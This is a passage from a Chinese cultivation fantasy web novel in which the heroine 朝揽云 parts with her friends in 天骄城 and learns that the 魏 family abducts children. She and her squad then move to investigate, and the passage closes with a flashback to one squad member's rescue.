“揽云,天黑了,我要走了,只是朋友的话,你会接受我试图说服你什么吗?”
“徐怀初,无缘无故对一个人好本就诡异,更何况我并没有什么可以对你形成交换的。”
徐怀初落下眸光,突兀地笑了笑。
“那如果,是我想一直跟着你,想…对你有需求呢?”
“为什么?”
朝揽云焦躁地撕扯衣角,她狠咬着唇角,眉头皱着,满心无处可落的焦躁和迷茫。
她有些讨厌这种像是要把自己的信任全部交付的氛围。
是因为不匹配吧。无处可得。
朝揽云还没有那么信任徐怀初。
“因为,”笑声很淡,虽然两个人的说话声本就很低,没有想让他人发觉,“我们是同类…可以吗?”
无缘无故的好本就让人恐惧,是不知不觉间就可以沉溺进去,还会被毫无根据收回的。不是交换得来的东西,都毫无根据,浮萍。
“我们在神前一同被献祭过,即使神没有接受我们的献祭,即使你已经遗忘,漫漫人所,只有你是我愿意看到的人,只有你会与我有如此牵扯。而且是你…”
但是,祈求与寻找同类就不同了。
这是交换,安心。
徐怀初知道很大一部分情感,不是因为那场已经有些模糊的献祭。
但他莫名地,理解起了朝揽云的思考方式。她们的思维有着共通之处。
“会感到害怕吗?”
“我想把你拉进神像献祭这件事情里。”我想用情爱牵扯你。
徐怀初笑得很悲哀,他低着眉,不知该看往何处,去等待属于他的回答。
他懦于说出爱意,无根无由的喜欢。
“这样啊,”朝揽云一下子轻松了,抬手敲了敲他的肩,“所以,只要我是我,你就一直会在乎我的,对吗?”
徐怀初怔愣片刻,点了点头。
“你的索取是什么?”朝揽云极为认真问道,“告诉我你的索取,让我能回馈你的好意。”
怎么敢说出来呢。
徐怀初笑了笑。
“什么都把我带上,都告诉我吧。”
“毕竟,我唯一的朋友只有揽云啊。”
“我们是同类。”
他的目光沉沉的,笑意清浅,眸下红痣诡异地更红了。
“好。”朝揽云无所谓地答应了,“以后我出去的时候叫你一声。”
徐怀初笑着,他看着她。
“那我回宗门了,明早就去找你。”
“拜拜!”朝揽云松快地扬了扬手,并没有回头去看他离开。
“真是难得看到你们成那样了,低气压得我都不敢过去说话了。”络净似乎等了很久一般,转过身来抱臂说话,“别找了,那两个人都走了,中毒就给我乖乖解毒。”
“说吧,什么时候中的。”
朝揽云看着看起来真的十分认真的络净,无奈摊了摊手:“幻境的时候?有一条小蛇最后不知道去哪了,我还以为随着幻境破灭了,没想到竟然和小鬼一样。”
“无虞,”络净靠了过来,朝揽云有些无措,不太适应地接住了。这和之前接住一个陌生人可不一样,络净叹了口气,“无虞,不要这样好不好,这是毒,不要去碰毒,不管别人怎么赞美都是毒。”
络净又在为很久很久以后才能发生的事情伤心。
这让人无力。
“南风,”朝揽云想她现在或许需要自己的应和,她低眸看着只露出发丝和肩,埋在自己脖颈的络净,“我现在在。”
她只能这样说,她无法为将来已经发生的事情保证或者是道歉。
“我就知道。”络净喃喃一句。
32. 夏日有微风,天骄忘世俗
怎么会有这样的人,无论是上台阶上嚣张的一瞥,还是眉眼处流露的骄矜,就连不屑地横着眼说要自己证明能力,都令人喜欢。
怎么会有这样一个人?一入眸便似失了整个世界。
朝揽云,朝梧桐之揽云,芽绿,细小丰茂,望之惊魂失怀。
徐怀初最后再看了她一眼,跟着他的师父——千仞宗太长老派来的人离去了。
——
朝揽云其实要负责不起络净了,无论怎样意气风发的少年都无法负责一个多年以后的结局吧。
尤其是那么执拗地就把所有情绪压上来了。
更何况,朝揽云什么都不知道,不知道日后,不知道她为何,一直怅然若失地盯着她。
不像是朋友的感觉。
幸好青怜到来了。
“懒云!还不快过来,不要爽约啊!”
她袅袅娜娜站在那里,眉宇间带着一些神气,余光扫视着各位因蝮蛇赛开场来观战的各位。
她带着些窃喜和得意看着朝揽云与络净告别,万千目光环绕群中,只向她奔来。
“懒云,”青怜笑眯眯的,指尖若有若无缠弄朝揽云的些许发丝,“现在所有来参加九龙朝巅会的人都会敬畏又忌惮地看着你,那时候你的朋友就更多了。”
“我可有无早到。”
她眸子还回映着方才的身影。眸光涟涟,笑眯眯地缠了缠朝揽云的发丝。
“没有,在等你呢,我们去天骄城干什么。”
青怜的手指顿了一下,刚要开口就被打断了。
奔来前的女子眸光亮眸闪闪地问着朝揽云。
“既然站在这片土地上,为什么我不能成为第一?为什么你们就站在蝮蛇赛的赛场上!”
青怜眸色微怒,为这被打扰的氛围。
或许是因为她知道这样的时光已经没有多少了,她的内心已经做出选择,青怜格外珍惜现在每一丝的时光。
“哦?你可以成为第一啊。”
朝揽云回头,清清淡淡地回答。
“要我帮你成为第一吗?这是你自己的事。”
“不是。”女子脸庞涨红,恼了起来。
“嗯嗯。”朝揽云敷衍了几声。
“你是在看不起我吗?”女子却格外敏锐,她发现了朝揽云的一些行为逻辑。
“只是你没有让她感兴趣而已。”青怜不太耐烦地代替朝揽云否决了,“她对任何人都这样,或许是这段时间有趣的人太多了?让你对她产生错觉了?”
那个女子转头就走,弄得朝揽云只得疑惑问青怜。
“他们有特异功能吗?为什么都觉得我看不起他们?”
“没有,”青怜否决了,“我们走吧。”
“不过或许她说的是对的,除了交手让我留下印象的几人,我的确没在乎其他人。”
“不过,我为什么要在乎?我又不认识他们。”
青怜撇过头去看,朝揽云的眼神疑惑又迷茫,她轻笑了一声。
“不用管他们,你就是你。你就这样,总有人喜欢你。不,总有很多人喜欢你。”
“她会再来找我的。”朝揽云思考片刻断定道,“虽然在比斗时没有向前,但是她会再来找我的。”
“你想怎么多做什么。”
青怜叹了口气。
“懒云,我要回家了,最后在陪我一段时间吧,不要想别人。”
“回家。”朝揽云僵硬地,她扭过去脖子,然后古怪地念着这个词。
“青怜,这里不是你的家吗?你要回哪去?”
“这里是我的家。”青怜边走边笑着说道,“可是我还有要去做的事情。”
“懒云,你会找我的,对吗?”
她本是快速走在前面,急促又没有逻辑。
可是,此刻她回过头来了,头上簪着的残缺桃花枝还在阳光下熠熠生辉。
“青怜,”朝揽云念了一声,仿佛被光迷了眼,疾步走上去,“我。”到了此时她反倒不知该说什么。
祝福?可是怎么告诉她自己的不舍。不舍?可怎么祝福她奔向光辉灿烂?
“青怜,我不该生气的,或许不是生气,我有想你跟我最好的。”
青怜要流泪一样,抿了抿唇,又立刻扬了起来。
“朝揽云,我高兴。”
“高兴什么?
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”
青怜停下脚步,看着眼前的绿堤杨柳。
“你最好的朋友或者家人都只能是我。小时候的宗门只有你陪着我,我陪着你。就算忘了,就算我离开了,你也不能让他人超过我的地位。”
朝揽云愣了一下。
“我要离开了,但是我随时会来找你的。你会交很多朋友,但是唯一最好的朋友只能有我,我不只是你的家人。”
你更是我在无望噩梦中唯一的宁静。
“整个宗门只有你没有因为我父母亲的事,对我别样相看。虽然你对任何人都是这样。”
绿堤湖中的荷花真的很好看,漫池莲叶铺满夕阳影影绰绰燃尽的湖面,风一吹好似千朵怒放河莲燃。
“青怜,”朝揽云一个字一个字咬在唇角,“你必须要找我,不然我会忘了你的。”
“懒云还是这么狠心。”
“这不是狠心,时间的规律就是这样的,我会忘却你的面容你的声音,直到模糊的记忆也残缺不余痕迹。”
……
感情真的很奇怪,朝揽云发着呆,看着青怜头上的桃花枝随着移动风摇作响。
按照规律来言,此次重逢不过伴月,怎会如果,感痛离别。
天骄城是个吃人的地方啊。
——
灯巷繁花街,天骄城楼尽酒客,饮遍三千潇洒气,座上风流最无许。
天骄城本就因当初奔赴北境的三千英杰天骄命名,即便此刻姿容已大改,也尽是满城英豪气,九龙朝巅的获胜者更是常常要至此参宴。
“魏氏,他们要接你回去?”
“嗯,我的母亲离去时让他断子绝孙了,如果不想家族落入旁人之手,他们只能请我回去,那个氏族,会是我的。”
青怜平平淡淡回答道,似乎没有多大情绪波澜。
“有防护吗?我不相信他们会不试图控制你。”
“青怜,我遇到过被控制的人,你不会是其中一个,对吗?”
青怜低了低眸。
“小心些。”
朝揽云最终无奈地扯了扯嘴角。
“无论怎么样,我都会去把你拉回来的。”
33. 天骄(1)
“咦,”酒楼上一位布衣少年探下头来,“是太初宗两位仙长啊!这边!”
“还记得小生吗?”
朝揽云顺着声音抬了头,看着那青涩面孔,热情招着手的少年,一时回忆不起他的身份。
“懒云和我去那条长街时,我相识的那个承太初弟子之名少年。”
青怜看出她的不解,为她轻声解释道。
“只不知何故,竟到了天骄城。”
“啊哦。”
朝揽云恍然大悟似的翘起了唇角。
“那么,真是厉害。”她眯了眯眼。
“他叫什么?”
“我记得好似是,陆青梧。”
陆青梧快速从酒楼上一下子就跑下来了,好似怕她们离开一般。
“呦,”朝揽云将手举起,一脸浪不咎道:“怎么来这了?许久不见啊!”
陆青梧整好衣冠,停在两人身前。
“说来也是时运所济,虽然没有通过太初宗的入门考核,但是在我与两位仙长相遇的地方,也就是福来客栈。我遇到了鶸兄,他推荐我来天骄城闯一闯天地,并将我带来。”
朝揽云面上不显地轻笑一声,与青怜对视一眼。
“鶸兄,”青怜心中有数,做出了一副疑惑模样问道,“不知是何许人也,青梧又是何时到来的。”
被如此一个美人亲昵称呼,陆青梧不由脸红了红。
“鶸兄叫魏鶸,是天骄魏氏的成员。”
他向上指了指,朝揽云看到一个身着华丽衣袍的男子,从窗户处露出头来敬酒。
魏氏。
果然来了啊。
“鶸兄还说着要我下来请两位仙长一叙呢,不知两位仙长可否赏脸。”
朝揽云回头看向了青怜,等待着她的意见。
“那就多谢青梧和鶸兄的邀请了。”
青怜并未思虑多久,便拱拱手,笑意应了。
——
紫菱花开楼层畔,满枝姸华压玉炤。楼上行人探望知,灼金足珠化性来。
“两位仙子。”那个叫魏鶸的人坐在轮椅上,恭敬拱手问好。
“真是难办了。”
朝揽云看着他的神色,磨牙暗叹。
……
“怀初,见到她了?”
徐怀初闭着嘴,一句不言。
“你要想清楚,虽然现在我有很多还不能告诉你,但是你们之间算得上是有仇的。你看看你的模样,矫饰自己,面目软化去讨好一个只是第一次见面的人。”
徐怀初面前人长叹一声,看着满脸不服的徐怀初软了声线。
“怀初,你要知道无故而生的爱慕,对她人来说其实是一种轻慢。你可知她所思所想?只是我这一目惊心失了神智,她又该如何应对你?”
“你会一直喜欢她吗?万一她一直不喜欢你,你坚持不下来了,甚至不知何故被冷落的另一个人,又该如何自处?而若是她欢喜上你,又是怎样的你?”
“师父。”
徐怀初咬着牙,只能答出一句,“我会一直喜欢她的。喜欢哪有什么真不真假不假。”
“怀初啊,永远是无法保证的。还在想着她吗?去找她吧。如果愿意的话就去喜欢真正的她,不然不要祸害人家小姑娘。”
他叹了口气,又提点了句。
“有些人希望别人喜欢自己是因为才华,有些人希望因为灵魂,还有些人是希望因为外貌,因为生活的点点滴滴。”
“喜欢一个人从来不是那么简单的。”
她,会是怎样的人呢?
徐怀初却只是分了神,这么想道。
……
“三成利?”
朝揽云站在青怜身侧,扶着她椅子的靠背,一面威胁地随意甩着不知何时从储物囊中掏出的小刀,一面盯着魏鶸,混不吝笑着。
“魏家旁支小子,想好了,是你需要怜儿,不是怜儿需要你。至于你所手握的什么秘密,天底下不止有你一个人会知道的。别威胁我们,先玩烂的只会是你。”
“与虎谋皮,”青怜也笑着饮了口茶,茶杯重新发出不轻不重的一声,被放回桌子上。她并没有顾虑什么是否有下毒,“鶸兄,我们有度量,你有那个实力吗?”
“不亏是太初宗养出的人,”魏鶸并没有意外,他抚掌赞叹,“不过魏家现在可是蛇鼠一窝,外人没有信息贸然进去可是会得不偿失。”
“外人,”青怜轻哼一声,“我有一力可降十
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会,鶸兄可有这般人物?”
“或者魏家有这般人物?”
魏鶸随着青怜的话语,颇为忌惮地看了正百无聊赖玩着小刀,腰上还挂着黑剑的朝揽云一眼。
察觉到他的目光,朝揽云挑了挑眉,翘起唇角恐吓一笑。
“我还有东西可以用来交换。”
他面上一副终于决定了什么的表情,赶紧喊道。
“贵宗当年交好文家商路扩及中境,却只在一息之间全家覆灭,尽余一襁褓遗孤,遗孤被附阵法。那阵法会逐步吸收被施阵人的生命力,使其噬骨无魂!”
本身气定神闲的朝揽云、青怜两人一时的抬起头来,对视一眼惊异不定。
“你什么意思?”
“此事或许两位尚且不知,但我可以保证,我所说皆为真实。”
朝揽云荏怒地抛了几下小刀。
“鶸兄,”青怜沉默很久后,在焦灼的气氛中最后抬起了头,“请说。”
——
“这天骄城的命名,说来跟老大有点关系。”
混不吝的少年郎跟身边的友人扯着闲话。
“跟老大有关系?你扯什么呢?天骄城命名的时候我阿娘都还没出生呢?”
面寒不太耐烦的另一少年轻嗤道。
“就算老大厉害,也不需要你这样瞎扯证明。”
“你这就可不知道了,天下尚未有宗门的时候,可是那些宗门的创始人挥酒在此城,成名了天骄城!”
“我们老大啊!是宗门弟子啊!这可不就是有关系吗!”
“瞎扯。”另一人笑话道。
“哎~再往近处来说,太初宗那柳栁不是在天骄城参宴,百日流觞之席也是因他废绝,那这可有关系了吧!”
“不对,有关系的应是,”颇为冷淡的少年否决了一脸笑意的同伴,“应是九龙破阵绝天象第一人。”
“若非老大出手,九龙山这么多年每次都会引起天降异象的阵法,怎么会被破除?”
“天降异象?”
一声惊讶声传来。
被魏鶸支下来的,颇为自来熟的陆青梧凑了上来。
他颇具兴趣地问。
“两位仁兄,不知是何异象?”
34. 天骄2
“文师兄竟会有如此经历。”
长久,不知是叹惋还是悲哀,青怜叹息一声。
“不论如何现在知晓了这些事情,还是要回去寻大师兄和宗主,对一对口风的。确定一下他们是否有谋算。”
青怜默认了。
朝揽云发呆般的,回忆起了魏鶸突然抬头的最后几句话。
“度灵君,我听说观星旅舍的人都会铲恶扬善。你是那样的人吗?”
朝揽云愣了一下,为着度灵君的名号。
“我如何不是?”她反口喋问。
“我愿意相信你,相信传闻中大名鼎鼎的度灵真君,相信你无数次的涉死救人。”
“可以请您听我说几句吗?”
未待她应予,那魏鶸便着轮椅上弯下腰,深深拱手道。
“度灵君。天骄城魏家劫掳无辜小儿,失自力者为奴,为实验器材。该诛!请您做主,请观星旅舍帮忙。”
……
“懒云,懒云!你怎么了?”
青怜还在呼唤着她。
“青怜,抱歉,我现在有事情要去做,不能陪你了。”
她前言不接后语地回答道。
“去吧。”
青怜一瞬间失望,又弯弯眉笑了起来。
“度灵真君的名号,我在宗门内也听得到的。我不会阻你的行动的。”
“好。”朝揽云又看了她几眼,就像强撑着笑着的她,从储物囊中掏出联系符咒转身就要离去。
可是她最终顿了一下。
她不太放心一个人在这天骄城,不知是否会被算计的青怜。
“可以拜托怜儿去通知宗主他们吗?魏家的事和文师兄的事情。”
做出个声声拜托模样,嚷得愿心人合意行。
“好。”
青怜答应了。
“懒云,我是说,”看着她离去的背影,青怜又沉静了片刻,喃喃自语道,“如果我站在和你同一高度,如果我的修为同样高强。我是否会同样与你出现赞颂的口中,你现在的离去是否会带上我。”
“若我并非天生,修行失汩。”
“若我并非只是堪堪,称不上什么天才。”
……
“有没有听说这新一届的朝巅会啊,参加蝮蛇赛的几个人,硬生生从鹿渊阁手中救下来两个血肉模糊的人,还轻易赢了。你说这届可真是少年英才。”
……
“枯九,小队留守的人有多少?”
朝揽云一面飞速向着魏鶸透露的实验场地隐蔽赶去,一面捏着符咒向回到宗门前被放了假的小队通信。
“老大,又出什么事了?我就知道这个假我们是休不久的。我可是待到你来找我了。”
“别淘,”朝揽云笑道,“没事的时候谁去打扰你休假的。”
“那倒也是。不过我们还在东洲,目前赶不过去。”
“老大那出事了?刚好,有几个人告了假,说要去给她加油助威,你看,这不就用上了!和以往一样,我把他们通信的信路打开,老大就可以联系他们了。”
“你说说,这可真是,早知道我也去了,把事情都抛给你。”
符咒那边传来隐隐约约的抱怨声,朝揽云调笑调侃几句。
“难不成想我了?真真是,我不过离家多久啊!你们可真爱我。”
“那可不是!”
符咒那边的声音最后消逝,朝揽云也愣了片刻,看着手中预留的丝微符咒灰烬。
好像真的过了很久,沉溺于颂九昭她们的失踪又或死亡,可是忘了她们了。
——
“白记,费流,炤蘑。你们几个,现在在哪里?”
时刻佩戴的通讯器发出了提醒声,三个神色各异的人皆变了神色。
“哎呀!陆兄,先让费流和你聊!我内急先溜了!”
陆青梧连忙拱拱手:“那白兄赶忙去吧,小可就在这里和费兄待君归来。”
“哈哈!这曲的确是人间一流,不过我饮酒过甚,先出门醒醒酒了。”
“那炤姑娘可要快些,不然我们打了烊,下次阳小姐再有兴致弹一曲,可不知何时了。”
“自然自然!我也无处可寻阳卿此间绝曲了!”
——
“老大要你们帮忙。”
联络器打开,迎面就是一句冷淡的通知。
两人却格外惊喜。
“老大终于想起我们了!”
“老大现在还好吗?”
“还好,只是又遇上大事了。费流呢?”
“他留下应付我们刚刚结识的一位朋友了,没有办法过来。”
“那你转述。”
联络器对面吩咐道。
“明白了明白了!所以老大遇上什么事了?”
“你们还记得不久前各地传来的儿童遗失案吗?”
“找到线索了?”
炤蘑本还在醒着酒,却被这一句激清醒了。
“目前只是线索,赶
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忙处理好各自招惹的人,老大会联系你们的。”
“明白了,书记。”
“再见,书记。”
联络器最后嘈杂几声。
炤蘑无奈抛了抛联络器。
“这界海淘来的物什的确方便啊,就是容易故障。”
白记回头望向费流的方向。
他忖度着。
“找什么借口好呢?”
——
“是你啊。怎么来这了?知道这是哪里吗?”
素手弹琴的医女抚弦叹息。
“还真不愧是你啊,那天回去后我就去调查了,没想到那么成绩斐然的小少年,竟会对我说出那么一般话。”
“我要去魏家,你会帮我吗?”
朝揽云直视着她,仿佛是刻意堵在这必经之路上的医女。
“怎么不会呢。刻意等在这里不就是为了这件事。”
“那个魏鶸,是受了你的指点,还是汉二姑娘的指点,来找我们的。”
医女却只是避而不答。
“你很看重她啊,知道被设计了,把她支回去。对汉华的称呼也是好久没让人听到了的。”
朝揽云有些警惕看着她。
“不要担心,”医女笑了笑,“我们不仅不会伤害她,还会保护她安全回去的。”
“中境果然是任何矛盾最先展开的地方。”
“观星旅舍的消逝也是令人叹惋。”
“没有消逝。”
朝揽云坚定回答道。
“好了,”医女怔愣片刻,看着她的眼睛,她飞舞的发带。不由笑出声后,她辨别方向指去,“往南去,最尽头的灰墙有一个地穴。”
“怎么不走?”
她笑着反眸,看朝揽云纵身接近,手略微按住她长琴琴弦,略微荡出一两水泊。
“给我信物,证明你的可信。”
医女面似红霞,眸光笑出了水光涟涟。
“二娘说的果真不错,又令人恼又令人喜欢的小姑娘。”
她指尖抚在了她肩头。
“若要信物,我赠你一门玉佩好不好,不过你能接的起吗?”
“娘子觉得呢?”
朝揽云随她意,摆出一副乖巧笑意。
“我愿意投资度灵君的哦。”
轻袍拂过,朝揽云手心坠了一个沉甸甸的玉佩,她望着医女的背影。
“观星旅舍你要接着做下去,我们只会认可你是旅舍最后的继承者了。”
35. 天骄3
“我这么厉害的吗?”半晌过去,不知是感叹还是嘲讽,朝揽云轻笑了一声。
“老大!老大!你可终于来找我们了~这次是什么?我们快快去锄奸扬善吧!”
通讯器内传来了刻意热闹兴奋的叫声,喧哗又不惹人讨厌,像是在刻意抚慰她的情绪。
嘴角忍不住无奈上扬,朝揽云刚刚回答,便被通讯器传出的嘈杂电声掩盖。
乒铃乓啷,雨打湿附近屋檐,她向旁避去,摇晃着,在潮湿清新的空气中等待通讯器那边重新传来声响。
下雨了啊,她弯着眸,真令人开心。
“通讯器似乎要坏了,这次比赛我尽量借着机会去界海一趟,给队里进进货,开个新的进货渠道。”
好不容易等到电音消失,用兴高采烈掩饰焦急的声音传来,朝揽云才反应过来拍拍头交代道。
以往小队虽是朝揽云组建的,但所用很多器具都是颂九昭她们送来的。如今作为队里最强的人,朝揽云已经自觉开始思考小队的未来了。
“老大还是要去异界吗?”另一个连上了设备,略有沉静的声音淡漠传来,如同若有所失一般,“我还以为,老大会留下呢。”
“我自是要去的。”朝揽云并没有多做解释。她因对面低低的三道呼吸声,自己也无端有些迷茫。
但她不可能表达出来,她是标杆,是老大。她们都跟着她干,如果如今她放弃了自己早已定下的计划,队伍组织迷乱的话……
“白记,费流,炤蘑。你们分工一下,我正往天骄魏家西北角的地窖去,和以前一样,一个打探消息,两个善后,利落点。”
“当然!”炤蘑高兴起来,“我可等了很久,再和你一起行动。”
——
“二伯想必想不到我给他送了这么份大礼吧,谁让他非要把大伯的血脉接回来呢。”魏鶸仍在酒楼上,眸色深深笑意地轻言慢语道,“既然家族不给我,那还不如毁了呢。”
“毁了,我这样从来没参与过家族主业的人不就清清白白了吗?”
“明明是同一个家族的人。”
他俯下身子,悲哀地痴笑着,拂着自己那双不能动弹的腿。
他没有接着说,转而言谈其他。
“就让我把他们引进来吧。让着千年腐败的天骄城现于人前,知晓祖辈的光荣不可继承庇佑于子辈。”
“所有人都和我一样才好呢。”
“小主子,别发癫了。”静静的房间中,窗户被踩响了。突如其来的,一个面带黑甲的女子从窗户越了进来,面带笑意浑身愉悦,“自己放了一把火的闹剧不去看看吗?槐夫人可是早早赶去了。”
“我作甚要去。”魏鶸没有看她。
“得了,坏猫。”黑甲女人嗤笑一声,抱起轮椅上的魏鶸就蹬窗而去,“看看你的毛线团去。”
蹬窗而去,阳光晴日万里。
“今天可是个好日子啊。”她喟叹着。
“关你作甚好日子!”魏鶸想尽力挣脱,尝试过后还是叹了口气,温顺依附在了她怀里。
“倒让他们看看,天天凭借的欺负人的浮名其实一文不值,谁来都能烧烂。”
——
天骄城达歌欢宴,日日夜夜。
如往常一般,人丁众多的魏家也在欢宴酒池。请柬贺彩,撒了一地。从建立之处就以仆人之名,现也世世代繁衍下来的,所谓家生仆正在洒扫着庭院。
其中一些较为受庭院主人重视的仆从在替他们干着一些,该受谴责,他们又早已认为习以俗常的事物。
当然,即便他们再怎么认为如此正常,还是会将这些果断藏在暗地里,以免引发众怒。
魏冉,台上坐的人,如今魏家的代家主,他正是提出将逝去兄长唯一子嗣——青怜接回家中的人。
厅堂之中如长白敛姿暗纱抚天空之上。
“魏家果然还是大手笔啊。”汉华不紧不慢地赶了过来,她暗地里扫了面具男子一眼,就像是在为他没有第一时间拦住朝揽云,反而帮她照顾了两个无用之人不满一样。
“仆从井然,不像我家的,明明是从汉家带来的,却常常忽视我这个主子的意见。”
魏冉半笑不笑,不敢应和这个喜怒无常的槐夫人的话,生怕那句惹她不满让她砸了整个场子。
“槐夫人说笑了,整个天骄城内谁能比得上你啊。说我家规那也是取笑了,当年家兄祸害天骄城的声名可还没散去,鄙人是万万不敢居大的。”
另外一些小氏族都不敢发声,并立天骄城五大家族的两家都在席。更不论槐夫人是一个在8年间将本该式弱的槐家,抬上第二氏族的狠角色。
“不敢居大?你说的倒是与行为不合适啊。”汉华冷笑一声,没有再看他,只是带着一身繁华珠串落座,自矜身份地骄矜看向了宴席间的表演。
魏冉便也甩了甩袖子,带着些怒气落座。
“我们坐吗?”
“谁知道呢?最好还是别惹他们,两个霸王都惹不起。”
“抱歉抱歉,客人。”正说着一个做仆役打扮的女子路过,不小心将茶洒落在地。
“怎么做的?”有人皱眉,看着自己衣摆被不断扩散茶液濡湿的痕迹。
“十分抱歉,不然我带您去换一身衣服?”
“算了,”那人明显忌惮,“在魏家随意走动…”
他明显顾及面前人是魏家人未多说什么,但是仅着一丝也可以让炤蘑判断出来魏家的确有着不好的声名。
“炤姑娘,多谢你啊,谁得知魏家突然就开宴了,人手不足,也是多亏你愿意帮忙,不然也不知魏家又会出什么叼磨我们。”
“啊,”被阳姑娘这么一说,正在暗背着庭院方位的炤蘑愣了一下,赶忙笑道,“阳卿这话说的,朋友有难怎可不帮?而且刚刚还差些给你们惹了祸。”
“不必担心,”阳姑娘轻轻一笑,“他们看到我们穿着魏府的衣服就不会问责的。若是问了责,怕只会被现在家主视为在挑衅他。”
“哦?阳卿如何思为?”
阳姑娘美目轻挑:“炤姑娘果真什么也不知道,是来参加九龙朝巅会的吧。”
“魏家位列天骄城氏族第三,几千年间未出一个人物,只靠吃老本,高不成低不就。就算几十年前出了前任家主一个决策尚
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可的族长,却是薄情寡义又花心的人选。”
“偏偏这般人生了个好模样,骗了个来参加大赛,不清楚他声名的人物结婚了。那姑娘一心被他迷住,到底要上了当。”
“但,人之本性终难移。魏家上任家主还是遭了报应,残缺了身体,子嗣修为这些都是没再有的。这也是那个被骗姑娘干的唯一烈性的事了吧。”
“为什么?”炤蘑很快察觉到了阳姑娘口气中的哀怨。
“天骄城的姑娘在那位少奶奶来之前也是盼着她能管束那人几分,不要让他再随意欺侮人的。”
阳姑娘似乎不愿再说似的。
炤蘑也陷入了沉默,她想起了自己的来历,那时朝揽云也是第一次遇到这般事情。
那时候她是怎么做的呢?
“度灵,如果判断不出对错,找不出合适的解决办法就一直在这里罚站。”
雨朦朦胧胧的,遮盖了把她救出来的那个姐姐的身影,站在雨地里,低着头撇嘴。她伸出手比了比模样。
似乎只有食指展开的长度。
“姐姐,”她迷茫地笑了起来,穿过走廊上垂下的雨帘,走到她身边,看着她被雨淋住的睫帘,“雨水要掉进你眼睛里了。”
朝揽云就维持着那个模样,低了低视线看着她。半晌,她才想起来了要笑一笑。
“你喜欢雨吗?雨能让我觉得不脏。”
炤蘑笑着开了口。
“喜欢。”
朝揽云用手淋了些许雨后,泠泠把它放到了眼颊侧,睫上的雨顺从地流上手指。
“是呼吸很舒服的感觉。”
“那位姑姑是在为你一开始对我们的态度生气吗?”炤蘑垂着眸笑了笑,“我的确是我父亲外面的孩子,你会厌我们也是应该的。”
“我的错。”朝揽云看着她头顶开始淋入发深的雨轻声说。
“你不该淋雨,会感冒的。”
“我想陪着你。”炤蘑没有动弹,“一直陪的那种。”
看着朝揽云因迷惑和惊讶而睁大的眼,炤蘑第一次畅快笑了起来。
她还记得初见,面前人毛毛躁躁地焦急冲过来,为她挡住了即将泼到她身上的泥水泔水。
她阳光夺目地,身上染上了臭臭的味道,然后笑着说。
“炤蘑?好水灵的蘑菇啊!可爱!”
“为什么?我对你们态度不好的。”
炤蘑依旧笑着回想着朝揽云得知母亲是父亲外室时的表情,是一种发觉自己做了错事的表情。
“你还是救了我们,你的恶意对我们来说不足千分之一。”一个连诋毁也不愿意说的人,所能做出的最大恶意也不过是臭着脸不理别人。
“这不意味着这是正确的。只意味着你的苦难…”
朝揽云渐渐没有再说下去。
“但是我有生来之罪的吧。姐姐,带着我吧,我也想成为你这样的人。”
老大力排众议留下了小队第一个小孩子,叫炤蘑。
她默默跟着阳姑娘,走着走着,迎着阳光,温暖又庆幸地笑了起来。
老大那时候安慰人的能力,真的很差劲呢。